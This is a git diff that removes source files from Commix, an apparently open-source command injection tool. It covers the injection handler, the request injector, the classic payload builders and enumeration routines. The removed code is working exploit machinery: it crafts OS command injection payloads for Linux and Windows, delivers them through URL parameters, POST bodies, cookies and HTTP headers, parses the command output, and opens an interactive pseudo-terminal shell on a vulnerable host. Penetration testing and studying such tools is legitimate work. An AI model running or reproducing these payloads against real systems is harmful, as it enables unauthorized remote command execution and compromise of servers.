= 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.CLASSIC_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.decision(separator, TAG, randv1, randv2) - - # Define prefixes & suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - - # Evaluate test results. - time.sleep(timesec) - shell = cb_injector.injection_test_results(response, TAG, randvcalc) - - if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if float(float_percent) >= 99.9: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - #print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # Command execution results. - time.sleep(timesec) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - try: - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - except: - print(settings.SINGLE_WHITESPACE) - continue - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = unescape(shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False - -# eof diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py deleted file mode 100755 index 4db4c93717..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ /dev/null @@ -1,307 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import json -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.results_based.techniques.classic import cb_payloads -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - if " " in payload: - payload = payload.replace(" ","%20") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response, vuln_parameter - -""" -Evaluate test results. -""" -def injection_test_results(response, TAG, randvcalc): - if response == False: - return False - else: - # Check the execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + TAG + TAG, html_data) - else: - shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) - if len(shell) > 1: - shell = shell[0] - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - -""" -The main command injection exploitation. -""" -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - if alter_shell: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") - raise SystemExit() - return response - -""" -The command execution results. -""" -def injection_results(response, TAG, cmd): - - false_result = False - try: - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - for end_line in settings.END_LINE: - if end_line in html_data: - html_data = html_data.replace(end_line, " ") - break - - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data) - if not shell: - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) - if not shell: - return shell - try: - if TAG in shell: - shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) - # Clear junks - shell = [tags.replace(TAG + TAG , " ") for tags in shell] - shell = [backslash.replace("\/","/") for backslash in shell] - except UnicodeDecodeError: - pass - if settings.TARGET_OS == "win": - if menu.options.alter_shell: - shell = [right_space.rstrip() for right_space in shell] - shell = [left_space.lstrip() for left_space in shell] - if "<<<<" in shell[0]: - false_result = True - else: - if shell[0] == "%i" : - false_result = True - - except AttributeError: - false_result = True - - if false_result: - shell = "" - - return shell diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py deleted file mode 100755 index de3074846e..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ /dev/null @@ -1,172 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.utils import settings - -""" -The classic injection technique on Classic OS Command Injection. -The available "classic" payloads. -""" - -""" -Classic decision payload (check if host is vulnerable). -""" -def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - if settings.SKIP_CALC: - payload = (separator + - "echo " + TAG + TAG + TAG + "< nul" - ) - else: - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = " + TAG + "%i" + TAG + TAG + "< nul" - ) - else: - if not settings.WAF_ENABLED: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" - else: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")" - - if settings.SKIP_CALC: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" - ) - else: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - math_calc + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - math_calc + - "$(echo " + TAG + ")" + TAG + "" - ) - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - if settings.SKIP_CALC: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "'\"" - else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" - - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do @set /p =%i< nul" - ) - else: - if settings.SKIP_CALC: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + - TAG + - TAG + "'\"" - ) - else: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + - "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + - TAG + "'%2B'" + - TAG + "'\"" - ) - return payload - -""" -Execute shell commands on vulnerable host. -""" -def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": - if settings.REVERSE_TCP: - payload = (separator + cmd + " " - ) - else: - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + "< nul" - ) - else: - - # if not settings.WAF_ENABLED: - # cmd_exec = "$(echo $(" + cmd + "))" - # else: - - if settings.USE_BACKTICKS: - cmd_exec = "`" + cmd + "`" - payload = (separator + - "echo " + TAG + - "" + TAG + "" + - cmd_exec + - "" + TAG + "" + TAG + "" - ) - else: - cmd_exec = "$(" + cmd + ")" - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + - cmd_exec + - "$(echo " + TAG + ")" + TAG + "" - ) - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": - if settings.REVERSE_TCP: - payload = (separator + cmd + " " - ) - else: - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('" + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + - "') do @set /p =%i< nul" - ) - - else: - - if settings.USE_BACKTICKS: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\"" - ) - else: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\"" - ) - return payload - -# eof diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py deleted file mode 100755 index d5dfec486c..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ /dev/null @@ -1,593 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "The hostname is " + str(shell) + "." - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - 